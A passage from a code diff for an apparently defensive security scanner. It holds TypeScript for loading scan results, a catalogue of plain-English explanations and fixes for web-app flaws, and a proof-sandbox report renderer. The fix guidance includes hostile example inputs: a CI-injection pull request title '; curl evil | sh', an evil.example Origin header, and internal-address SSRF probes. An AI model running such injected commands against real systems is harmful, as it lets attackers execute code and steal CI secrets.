+ if (!existsSync(p)) return { stage: 'LAUNCH', source: 'default' };
54
+ const m = /\b(?:stage|declared stage)\b[^\n]{0,20}?\b(LAUNCH|GROWTH|SCALE)\b/i.exec(readFileSync(p, 'utf8'));
55
+ return m ? { stage: m[1].toUpperCase() as Stage, source: 'STAGE.md' } : { stage: 'LAUNCH', source: 'default' };
56
+ }
57
+
58
+ export const SEV_RANK: Record<Severity, number> = { BLOCKER: 5, CRITICAL: 4, HIGH: 3, MEDIUM: 2, LOW: 1 };
59
+ export const highest = (sevs: Severity[]): Severity => sevs.reduce((a, b) => (SEV_RANK[b] > SEV_RANK[a] ? b : a), sevs[0]);
@@ -0,0 +1,49 @@
1
+ // Reads a scan folder (<out>/<commit>/) back. The report and the gate read only these files, never the source.
2
+ import { existsSync, readFileSync, readdirSync } from 'node:fs';
3
+ import { join } from 'node:path';
4
+ import { cmp } from '../util.ts';
5
+ import type { CheckResultsFile, CodeMap, FindingsFile, ResultRow, Stack, ToolMeta } from '../types/index.ts';
6
+ import type { ScanInfo } from '../commands/scan.ts';
7
+ import type { SurfaceFile } from './surface.ts';
8
+ import { huntDir, readResult, readSkipped, readSynthesis } from '../confirm/store.ts';
9
+ import type { HuntFiles } from './hunt-section.ts';
10
+ import type { ProveFiles } from './prove-section.ts';
11
+ import { loadProveFiles } from './prove-section.ts';
12
+
13
+ export interface ScanFolder {
14
+ dir: string; info: ScanInfo; stack: Stack; checks: CheckResultsFile; results: ResultRow[];
15
+ findingsText: string; findings: FindingsFile; metas: ToolMeta[]; surface: SurfaceFile;
16
+ codemap: CodeMap | null; // null for a scan folder written before the code map existed
17
+ hunt: HuntFiles; // the hunt files, when `hullproof hunt` ran for this commit
18
+ prove?: ProveFiles; // the proof sandbox files, when `hullproof prove` ran for this commit
19
+ reasons: Record<string, string | null>; // tool -> plain English reason it did not run, from scan/<tool>.detail.json
20
+ }
21
+
22
+ const json = <T>(p: string): T => JSON.parse(readFileSync(p, 'utf8')) as T;
23
+
24
+ export function loadScan(dir: string): ScanFolder {
25
+ for (const f of ['scan.json', 'stack.json', 'checks.json', 'results.json', 'report.findings.md', 'surface.json']) {
26
+ if (!existsSync(join(dir, f))) throw new Error(`${join(dir, f)} is missing. Run hullproof scan first.`);
27
+ }
28
+ const findingsText = readFileSync(join(dir, 'report.findings.md'), 'utf8');
29
+ const block = /```hullproof-findings\n([\s\S]*?)\n```/.exec(findingsText);
30
+ if (!block) throw new Error('report.findings.md holds no hullproof-findings block');
31
+ const scanDir = join(dir, 'scan');
32
+ const metas = existsSync(scanDir)
33
+ ? readdirSync(scanDir).filter((n) => n.endsWith('.meta.json')).sort(cmp).map((n) => json<ToolMeta>(join(scanDir, n)))
34
+ : [];
35
+ const reasons: Record<string, string | null> = {};
36
+ for (const m of metas) {
37
+ const p = join(scanDir, `${m.tool}.detail.json`);
38
+ reasons[m.tool] = existsSync(p) ? json<{ not_run_reason: string | null }>(p).not_run_reason : null;
39
+ }
40
+ const hd = huntDir(dir);
41
+ return {
42
+ hunt: { result: readResult(hd), synthesis: readSynthesis(hd), skipped: readSkipped(hd) },
43
+ prove: loadProveFiles(dir),
44
+ reasons, dir, info: json(join(dir, 'scan.json')), stack: json(join(dir, 'stack.json')), checks: json(join(dir, 'checks.json')),
45
+ results: json(join(dir, 'results.json')), findingsText, findings: JSON.parse(block[1]) as FindingsFile, metas,
46
+ surface: json(join(dir, 'surface.json')),
47
+ codemap: existsSync(join(dir, 'codemap.json')) ? json<CodeMap>(join(dir, 'codemap.json')) : null,
48
+ };
49
+ }
@@ -0,0 +1,270 @@
1
+ // Plain English text for every check and for scanner rules: what is wrong, what it lets someone do, how to fix it, and
2
+ // how to confirm the fix. Written for people who build with AI tools. The report never shows a tool's own message text.
3
+ import { readFileSync, readdirSync } from 'node:fs';
4
+ import { join } from 'node:path';
5
+
6
+ export interface Message { title: string; impact: string; fix: string; confirm: string; root: string }
7
+
8
+ const CHECKS: Record<string, Message> = {
9
+ 'check.api.webhook-verified-before-use': {
10
+ title: 'Webhook is used even when its signature check fails',
11
+ root: 'webhook: signature result does not stop the request',
12
+ impact: 'Anyone who finds the webhook address can send a fake event, for example a payment that never happened, and the app acts on it.',
13
+ fix: 'Check the provider signature on the raw request body first. If the check fails, return an error (400 or 401) straight away, before parsing or using the event. Never only log the failure.',
14
+ confirm: 'Send the route a request with a wrong signature and confirm it is rejected, then rerun hullproof scan.',
15
+ },
16
+ 'check.authz.owner-filter-on-id-read': {
17
+ title: 'Record is read by id with no check that the caller owns it',
18
+ root: 'authorization: read by id without an owner filter',
19
+ impact: 'A signed in user can change the id in the request and read another user\'s record.',
20
+ fix: 'Add the owner to the query, for example WHERE id = ? AND owner_id = ? with the signed in user\'s id from the session, or check the owner before returning the row.',
21
+ confirm: 'Request another user\'s record id while signed in as a different user and confirm you get 404, then rerun hullproof scan.',
22
+ },
23
+ 'check.ai.tool-owner-filter': {
24
+ title: 'AI tool reads a record by id with no owner check',
25
+ root: 'ai tool: read by id without an owner filter',
26
+ impact: 'Text in a prompt can make the model ask the tool for any record id, so one user can read another user\'s data through the assistant.',
27
+ fix: 'Pass the signed in user to every tool and filter each read by that user (WHERE id = ? AND owner_id = ?). Never let the model choose whose data is read.',
28
+ confirm: 'Ask the assistant to read a record that belongs to another user and confirm it refuses, then rerun hullproof scan.',
29
+ },
30
+ 'check.authz.admin-role-check': {
31
+ title: 'Admin route lets in any signed in user',
32
+ root: 'authorization: admin handler without a role check',
33
+ impact: 'Any user with an account can call the admin route and do what only an admin should, such as changing roles or deleting users.',
34
+ fix: 'In the server handler itself, load the user from the session and return 403 unless their role is admin. A check in the browser or a cookie check in middleware does not protect the route.',
35
+ confirm: 'Call the admin route as a normal user and confirm it returns 403, then rerun hullproof scan.',
36
+ },
37
+ 'check.db.rls-every-table': {
38
+ title: 'Database table has no row level security',
39
+ root: 'database: table without row level security',
40
+ impact: 'With the public anon key that ships in every browser, anyone can read (and with grants, change) every row of this table through the Supabase Data API.',
41
+ fix: 'Add a migration with alter table <name> enable row level security, then add policies that let each user reach only their own rows. Remove grants to anon that the app does not need.',
42
+ confirm: 'Query the table with only the anon key and confirm no rows come back, then rerun hullproof scan.',
43
+ },
44
+ 'check.db.firebase-rules-not-open': {
45
+ title: 'Firebase database rules let anyone read or write',
46
+ root: 'database: open Firebase rules',
47
+ impact: 'Anyone with the app\'s public config can read or overwrite the whole database.',
48
+ fix: 'Replace allow rules that are always true (or that expire by date) with rules that check request.auth and the owner of each document.',
49
+ confirm: 'Run the Firebase rules emulator tests for an unauthenticated and a different user, then rerun hullproof scan.',
50
+ },
51
+ 'check.storage.firebase-rules-not-open': {
52
+ title: 'Firebase Storage rules let anyone read or write files',
53
+ root: 'storage: open Firebase rules',
54
+ impact: 'Anyone with the app\'s public config can download or replace every stored file.',
55
+ fix: 'Limit each path to its owner, for example allow read, write: if request.auth.uid == uid on /users/{uid}/.',
56
+ confirm: 'Try to fetch another user\'s file without signing in and confirm it is refused, then rerun hullproof scan.',
57
+ },
58
+ 'check.secrets.no-secret-in-public-env': {
59
+ title: 'Secret key is named with a public prefix and ends up in the browser',
60
+ root: 'secrets: secret under a public env prefix',
61
+ impact: 'Variables with prefixes such as NEXT_PUBLIC_, VITE_ or EXPO_PUBLIC_ are copied into the code every visitor downloads. A service role key there gives anyone full database access.',
62
+ fix: 'Rename the variable without the public prefix, read it only in server code, and rotate the key in the provider dashboard because it may already be public.',
63
+ confirm: 'Build the app and search the built files for the key name and value; neither should appear. Then rerun hullproof scan.',
64
+ },
65
+ 'check.secrets.no-env-file-committed': {
66
+ title: 'Environment file is committed to the repository',
67
+ root: 'secrets: env file in git',
68
+ impact: 'Anyone who can read the code, or its history, can read the values in the file.',
69
+ fix: 'Remove the file from git, add it to .gitignore, keep only a .env.example with empty values, and rotate every real value it held.',
70
+ confirm: 'git ls-files shows no .env file, then rerun hullproof scan.',
71
+ },
72
+ 'check.web.cors-no-reflected-origin': {
73
+ title: 'CORS allows whatever site asks',
74
+ root: 'cors: request origin reflected',
75
+ impact: 'Any website a signed in user visits can call your API with their cookies and read the answers.',
76
+ fix: 'Compare the Origin header to an exact list of your own domains and only then send it back. Never copy the header as it is, and never pair a wildcard with credentials.',
77
+ confirm: 'Send a request with Origin: https://evil.example and confirm no Access-Control-Allow-Origin comes back, then rerun hullproof scan.',
78
+ },
79
+ 'check.log.no-credential-in-logs': {
80
+ title: 'Session token or password is written to the logs',
81
+ root: 'logging: credential in a log line',
82
+ impact: 'Anyone who can read the logs (staff, a log vendor, a leaked log export) can take over the user\'s session.',
83
+ fix: 'Remove the token, password or key from the log call. Log a user id or a short reference instead.',
84
+ confirm: 'Sign in and read the server log; no token should appear. Then rerun hullproof scan.',
85
+ },
86
+ 'check.supply.no-untrusted-event-in-run': {
87
+ title: 'CI script expands text that outsiders control',
88
+ root: 'supply: untrusted event data in a run step',
89
+ impact: 'A pull request title like "; curl evil | sh" runs as a command in CI with the job\'s token and secrets.',
90
+ fix: 'Pass the value through env: (for example TITLE: ${{ github.event.pull_request.title }}) and use "$TITLE" in the script.',
91
+ confirm: 'No run: line holds ${{ github.event... }}, then rerun hullproof scan.',
92
+ },
93
+ 'check.map.mutating-route-without-auth': {
94
+ title: 'Route that changes data has no sign in check',
95
+ root: 'authentication: state changing entry point without a session read',
96
+ impact: 'Anyone who can reach the address can call it without signing in and change data, such as creating, editing or deleting records.',
97
+ fix: 'At the top of the handler, read the signed in user from the session and return 401 when there is none. Do the same for every route that changes data, unless it is a sign in route or a webhook that checks a signature.',
98
+ confirm: 'Call the route with no cookie or token and confirm it returns 401, then rerun hullproof scan.',
99
+ },
100
+ 'check.map.data-read-without-auth': {
101
+ title: 'Route returns stored data to callers who are not signed in',
102
+ root: 'authentication: data read without a session read',
103
+ impact: 'Anyone can request the address and read data such as users, orders, notes or files, including other people\'s personal data.',
104
+ fix: 'Read the signed in user from the session first and return 401 when there is none. Then limit the query to the records that user may see.',
105
+ confirm: 'Call the route with no cookie or token and confirm it returns 401, then rerun hullproof scan.',
106
+ },
107
+ 'check.map.write-by-id-without-owner': {
108
+ title: 'Update or delete by id does not check who owns the record',
109
+ root: 'authorization: write by id without an owner value from the session',
110
+ impact: 'A signed in user can send another user\'s record id and change or delete that record.',
111
+ fix: 'Add the owner to the query with the signed in user\'s id from the session, for example WHERE id = ? AND owner_id = ?, and treat zero changed rows as not found.',
112
+ confirm: 'Send another user\'s record id while signed in as a different user and confirm nothing changes, then rerun hullproof scan.',
113
+ },
114
+ 'check.map.admin-route-without-role': {
115
+ title: 'Admin route has no server side role check',
116
+ root: 'authorization: admin entry point without a role check',
117
+ impact: 'Any user with an account, or a visitor, can call the admin route and do what only an admin should do.',
118
+ fix: 'In the server handler itself, load the user and return 403 unless their role is admin. A check in the browser, or a cookie check in middleware, does not protect the route.',
119
+ confirm: 'Call the route as a normal user and confirm it returns 403, then rerun hullproof scan.',
120
+ },
121
+ 'check.map.webhook-verify-before-use': {
122
+ title: 'Webhook does not reliably check who sent it before using the event',
123
+ root: 'webhook: no signature check, one that does not stop the request, or a body parsed first',
124
+ impact: 'Anyone who finds the webhook address can send a fake event, for example a payment that never happened, and the app acts on it.',
125
+ fix: 'Read the raw request body, check the provider signature on it, and return 400 or 401 straight away when the check fails. Parse and use the event only after the check passes.',
126
+ confirm: 'Send the route a request with a wrong signature and confirm it is rejected, then rerun hullproof scan.',
127
+ },
128
+ 'check.map.request-url-fetched': {
129
+ title: 'Server fetches an address that the request supplies',
130
+ root: 'ssrf: outbound request to a request supplied address',
131
+ impact: 'An attacker can make the server call internal services or cloud metadata addresses and read the answers.',
132
+ fix: 'Allow only known hosts: parse the URL, compare its host with a short allowlist, refuse private and loopback addresses, and do not follow redirects without checking the new address.',
133
+ confirm: 'Submit http://127.0.0.1 and a cloud metadata address and confirm both are refused, then rerun hullproof scan.',
134
+ },
135
+ 'check.map.privileged-field-from-request': {
136
+ title: 'Request data can set a role, plan or similar privileged field',
137
+ root: 'authorization: privileged field written from request data',
138
+ impact: 'A user can send their own role, plan or balance in the request and give themselves admin rights or paid features.',
139
+ fix: 'Write only an explicit list of fields the user may change, never the whole request object, and set role, plan and similar fields only from server side code that has checked permission.',
140
+ confirm: 'Send the route a request that includes role: admin and confirm the role does not change, then rerun hullproof scan.',
141
+ },
142
+ 'check.map.privileged-action-without-audit': {
143
+ title: 'Admin action changes data and writes no audit record',
144
+ root: 'logging: privileged action without an audit record',
145
+ impact: 'When an admin account is misused, or an admin makes a mistake, there is no record of who changed what and when.',
146
+ fix: 'Write an audit record in the same handler for every role change, delete and other admin write: who, what, which record and when, stored where the app cannot edit it afterwards.',
147
+ confirm: 'Make an admin change and confirm one audit record appears, then rerun hullproof scan.',
148
+ },
149
+ 'check.map.redirect-from-request': {
150
+ title: 'Redirect target comes from the request without a check',
151
+ root: 'redirect: target taken from the request',
152
+ impact: 'An attacker can send a link on your domain that lands a signed in user on a fake page, which is a common step in phishing.',
153
+ fix: 'Accept only relative paths that start with a single slash, or compare the full address with an allowlist, and fall back to a fixed page otherwise.',
154
+ confirm: 'Pass https://example.org as the redirect value and confirm the app ignores it, then rerun hullproof scan.',
155
+ },
156
+ 'check.map.mobile-secret-in-config': {
157
+ title: 'Secret written into a mobile configuration file',
158
+ root: 'mobile: a secret value sits in a file that ships inside the app',
159
+ impact: 'Anyone can unpack the app and read the file. A secret in it is public from the day the app is released.',
160
+ fix: 'Remove the value from the file. Keep the secret on your server and have the app ask the server, or fetch a short lived token at run time, then rotate the value that was shipped.',
161
+ confirm: 'Unpack the built app, search for the name, and confirm no value is stored, then rerun hullproof scan.',
162
+ },
163
+ 'check.map.read-by-id-without-owner': {
164
+ title: 'A signed in user can read another user\'s record by id',
165
+ root: 'authorization: record read by an id from the request with no owner condition',
166
+ impact: 'Any signed in user can change the id in the request and read records that belong to other users.',
167
+ fix: 'Add the owner to the query (where id equals the request id and owner equals the signed in user) or check ownership after the read and answer not found when it does not match.',
168
+ confirm: 'Sign in as user A, request a record that belongs to user B by its id, confirm you get not found, then rerun hullproof scan.',
169
+ },
170
+ 'check.map.supabase-open-table': {
171
+ title: 'Table is open to the public key through a grant or an always true policy',
172
+ root: 'database: table readable or writable without signing in',
173
+ impact: 'With the public anon key that ships in every browser, anyone can read or change the rows through the Supabase Data API.',
174
+ fix: 'Revoke the grants the anon role does not need, enable row level security, and replace always true policies with policies that tie each row to its owner.',
175
+ confirm: 'Query the table with only the anon key and confirm no rows come back, then rerun hullproof scan.',
176
+ },
177
+ 'check.map.supabase-privileged-column-grant': {
178
+ title: 'Signed in users can update role, plan or similar columns directly',
179
+ root: 'database: client role can write a privileged column',
180
+ impact: 'Any signed in user can call the Data API and set their own role or plan, which grants admin rights or paid features.',
181
+ fix: 'Replace the whole table update grant with a grant that lists only the columns users may change, and move role and plan changes into server side code.',
182
+ confirm: 'As a normal user, update your own role through the Data API and confirm it is refused, then rerun hullproof scan.',
183
+ },
184
+ 'check.map.supabase-policy-trusts-claims': {
185
+ title: 'Policy trusts a value the user can edit',
186
+ root: 'database: policy reads user_metadata',
187
+ impact: 'Users can change their own user_metadata, so a policy that trusts it can be passed by anyone who edits it.',
188
+ fix: 'Base policies on the user id and on app_metadata or a roles table that only server code can write.',
189
+ confirm: 'Change user_metadata on a test account and confirm access does not change, then rerun hullproof scan.',
190
+ },
191
+ 'check.map.firebase-auth-only-rule': {
192
+ title: 'Firebase rule lets any signed in user reach another user\'s data',
193
+ root: 'database: rule checks sign in but not ownership',
194
+ impact: 'Any signed in user can read or change the data stored under another user\'s id.',
195
+ fix: 'Compare the id in the path with the caller, for example request.auth.uid == userId, for every path that holds one user\'s data.',
196
+ confirm: 'Run the rules emulator tests with a second signed in user and confirm access is refused, then rerun hullproof scan.',
197
+ },
198
+ };
199
+
200
+ export function checkMessage(id: string): Message {
201
+ return CHECKS[id] ?? { title: `Check ${id} failed`, root: `check ${id}`, impact: 'See the check definition.', fix: 'See the check definition.', confirm: 'Rerun hullproof scan.' };
202
+ }
203
+
204
+ export const checkIds = (): string[] => Object.keys(CHECKS);
205
+
206
+ // Scanner rules: the first sentence of the rule's own message is the title, the rest is the fix. Semgrep rule files are
207
+ // read from the engine's rules folder and the rule pack; Gitleaks, OSV Scanner and Trivy get a fixed text per tool.
208
+ const ruleCache = new Map<string, Map<string, string>>();
209
+ function semgrepMessages(rulesDir: string): Map<string, string> {
210
+ let m = ruleCache.get(rulesDir);
211
+ if (m) return m;
212
+ m = new Map();
213
+ let names: string[] = [];
214
+ try { names = readdirSync(rulesDir).filter((n) => /\.ya?ml$/.test(n)).sort(); } catch { /* no rules folder */ }
215
+ for (const n of names) {
216
+ const lines = readFileSync(join(rulesDir, n), 'utf8').split('\n');
217
+ let id: string | null = null;
218
+ for (let i = 0; i < lines.length; i++) {
219
+ const idm = /^\s*-\s*id:\s*["']?([\w.-]+)/.exec(lines[i]);
220
+ if (idm) { id = idm[1]; continue; }
221
+ const mm = /^(\s*)message:\s*(.*)$/.exec(lines[i]);
222
+ if (!mm || !id) continue;
223
+ let text = mm[2].trim();
224
+ if (/^[>|]-?$/.test(text)) {
225
+ const body: string[] = [];
226
+ for (let k = i + 1; k < lines.length && (lines[k].trim() === '' || /^\s*/.exec(lines[k])![0].length > mm[1].length); k++) body.push(lines[k].trim());
227
+ text = body.join(' ').trim();
228
+ }
229
+ m.set(id, text.replace(/^["']|["']$/g, ''));
230
+ id = null;
231
+ }
232
+ }
233
+ ruleCache.set(rulesDir, m);
234
+ return m;
235
+ }
236
+
237
+ const firstSentence = (s: string): [string, string] => {
238
+ const at = s.search(/\.\s/);
239
+ return at < 0 ? [s.replace(/\.$/, ''), ''] : [s.slice(0, at), s.slice(at + 1).trim()];
240
+ };
241
+
242
+ export function ruleMessage(tool: string, ruleId: string, rulesDirs: string[]): Message {
243
+ if (tool === 'semgrep') {
244
+ // A later folder (the rule pack) wins over an earlier one for the same rule id.
245
+ const text = rulesDirs.map((d) => semgrepMessages(d).get(ruleId)).filter(Boolean).pop();
246
+ if (text) {
247
+ const [title, rest] = firstSentence(text);
248
+ return { title, root: `rule ${ruleId}`, impact: title + '.', fix: rest || 'Read the rule and change the code it points at.', confirm: 'Rerun hullproof scan; the rule no longer matches.' };
249
+ }
250
+ return { title: `Semgrep rule ${ruleId} matched`, root: `rule ${ruleId}`, impact: 'A code pattern linked to the requirement was found.', fix: 'Read the rule and change the code it points at.', confirm: 'Rerun hullproof scan; the rule no longer matches.' };
251
+ }
252
+ if (tool === 'gitleaks') return {
253
+ title: 'A secret shaped value is committed', root: `secret ${ruleId}`,
254
+ impact: 'Anyone who can read the code or its history can use the value if it is live.',
255
+ fix: 'Rotate the value in the provider dashboard first, then move it to environment configuration and remove it from the code. Removing it from history does not make it safe again.',
256
+ confirm: 'The provider shows the old value revoked, then rerun hullproof scan.',
257
+ };
258
+ if (tool === 'osv-scanner') return {
259
+ title: `Dependency has a known vulnerability (${ruleId})`, root: `advisory ${ruleId}`,
260
+ impact: 'Code with a published vulnerability is part of the app.',
261
+ fix: 'Upgrade the package to a fixed version, or record why the vulnerable code is not reachable.',
262
+ confirm: 'Rerun hullproof scan with --allow-network; the advisory no longer appears.',
263
+ };
264
+ return {
265
+ title: `${tool} check ${ruleId} matched`, root: `${tool} ${ruleId}`,
266
+ impact: 'A configuration pattern linked to the requirement was found.',
267
+ fix: `Read ${tool} check ${ruleId} and change the configuration it points at.`,
268
+ confirm: 'Rerun hullproof scan; the check no longer matches.',
269
+ };
270
+ }
@@ -0,0 +1,61 @@
1
+ // The proof sandbox part of report.md: what was proven by a test (with the redacted request and response of the attack and the hashes
2
+ // of the three transcripts), what was not proven and why, and what is not provable here. Built from the prove files only. Same files,
3
+ // same bytes. A scan folder with no prove folder gets no section, so earlier reports keep their bytes.
4
+ import { existsSync } from 'node:fs';
5
+ import type { Merged } from '../confirm/merge.ts';
6
+ import type { ProveResult, RunRecord, StepRecord } from '../types/index.ts';
7
+ import { proveDir, readProveResult, readRuns } from '../prove/store.ts';
8
+
9
+ export interface ProveFiles { result: ProveResult | null; first: Record<string, RunRecord> }
10
+
11
+ export function loadProveFiles(scanDir: string): ProveFiles {
12
+ const dir = proveDir(scanDir);
13
+ if (!existsSync(dir)) return { result: null, first: {} };
14
+ const result = readProveResult(dir);
15
+ const first: Record<string, RunRecord> = {};
16
+ for (const s of result?.specs ?? []) if (s.outcome === 'proven') { const r = readRuns(dir, s.spec_id)[0]; if (r) first[s.spec_id] = r; }
17
+ return { result, first };
18
+ }
19
+
20
+ const cell = (s: string): string => s.replace(/\|/g, '\\|').replace(/\s+/g, ' ');
21
+ const loc = (e: { file: string; line: number }): string => `\`${e.file}:${e.line}\``;
22
+ const clip = (s: string, n: number): string => (s.length <= n ? s : s.slice(0, n - 1) + '…');
23
+ const body = (r: NonNullable<StepRecord['response']>): string => clip(r.json !== undefined ? JSON.stringify(r.json) : (r.text ?? ''), 240);
24
+
25
+ export function renderProve(f: ProveFiles | undefined, merged: Merged | null): string[] {
26
+ const r = f?.result;
27
+ if (!f || !r) return [];
28
+ const out: string[] = [];
29
+ const p = (...l: string[]): void => { out.push(...l); };
30
+ const c = r.counts;
31
+ p('## Proof sandbox: findings proven by a test', '');
32
+ p('A test written as data ran against a copy of the app inside a sandbox with no network, no secrets and no access to your files. A flaw counts as proven only when the positive control passed and the attack got through in 3 of 3 runs. Anything less stays a lead with its reason, and a lead never holds or releases the gate.', '');
33
+ p(`1. Runner: ${r.runner}${r.runner === 'container' ? '' : ' (no isolation, for the engine\'s own fixtures only)'}. Specs: ${c.specs}. Proven: ${c.proven}. Not proven: ${c.not_proven}. Invalid: ${c.invalid}. Unstable: ${c.unstable}. Error: ${c.error}. Not provable here: ${c.not_provable}. Spec files dropped: ${c.dropped}.`);
34
+ p(`2. Left behind after teardown: ${r.left_behind}. Left out of the copy that went into the sandbox: ${r.copy_excluded.length} item(s) such as environment files and keys.`, '');
35
+ if (r.not_provable) p(`Not provable here (${r.not_provable.code}): ${r.not_provable.reason}`, '');
36
+ const gate = new Set((merged?.inGate ?? []).map((l) => l.key));
37
+ const provenSpecs = r.specs.filter((s) => s.outcome === 'proven');
38
+ if (provenSpecs.length) {
39
+ p('### Proven findings', '');
40
+ provenSpecs.forEach((s, i) => {
41
+ const key = s.lead_key ?? `spec:${s.spec_id}`;
42
+ p(`#### P-${i + 1} ${s.claim}`, '');
43
+ p(`Where: ${loc(s.sink)}. Requirements: ${s.requirement_ids.join(', ') || 'none named'}. Test: ${s.title} (${s.spec_id}).`);
44
+ p(`Evidence: ${s.runs.length} of ${r.runs_required} runs proven. Transcript hashes: ${s.runs.map((x) => `run ${x.run} ${x.transcript_sha256.slice(0, 16)}`).join(', ')}. Files: \`prove/runs/${s.spec_id}/run-1.json\` to \`run-${r.runs_required}.json\`.`);
45
+ const rec = f.first[s.spec_id];
46
+ const attack = rec?.steps.filter((x) => x.phase === 'attack') ?? [];
47
+ for (const st of attack) if (st.response) p(`Attack step ${st.id}: ${st.actor} sent ${st.request.method} ${st.request.path} and got ${st.response.status} ${body(st.response)}`);
48
+ p(gate.has(key) ? 'Counts in the gate: yes, as a fail record with machine evidence (kind test).' : 'Counts in the gate: no, none of its requirements is in this run\'s scope (or it names none).', '');
49
+ });
50
+ }
51
+ const rest = r.specs.filter((s) => s.outcome !== 'proven');
52
+ if (rest.length) {
53
+ p('### Not proven', '', 'These stay leads. None of them can hold or release the gate.', '', '| Spec | Where | Result | Why |', '|---|---|---|---|');
54
+ for (const s of rest) p(`| ${cell(s.spec_id)} | ${loc(s.sink)} | ${s.outcome.replace('_', ' ')} | ${cell(s.reason)} |`);
55
+ p('');
56
+ }
57
+ if (r.dropped.length) {
58
+ p('### Spec files dropped', '', ...r.dropped.map((d) => `- ${d.file}: ${d.reason}`), '');
59
+ }
60
+ return out;
61
+ }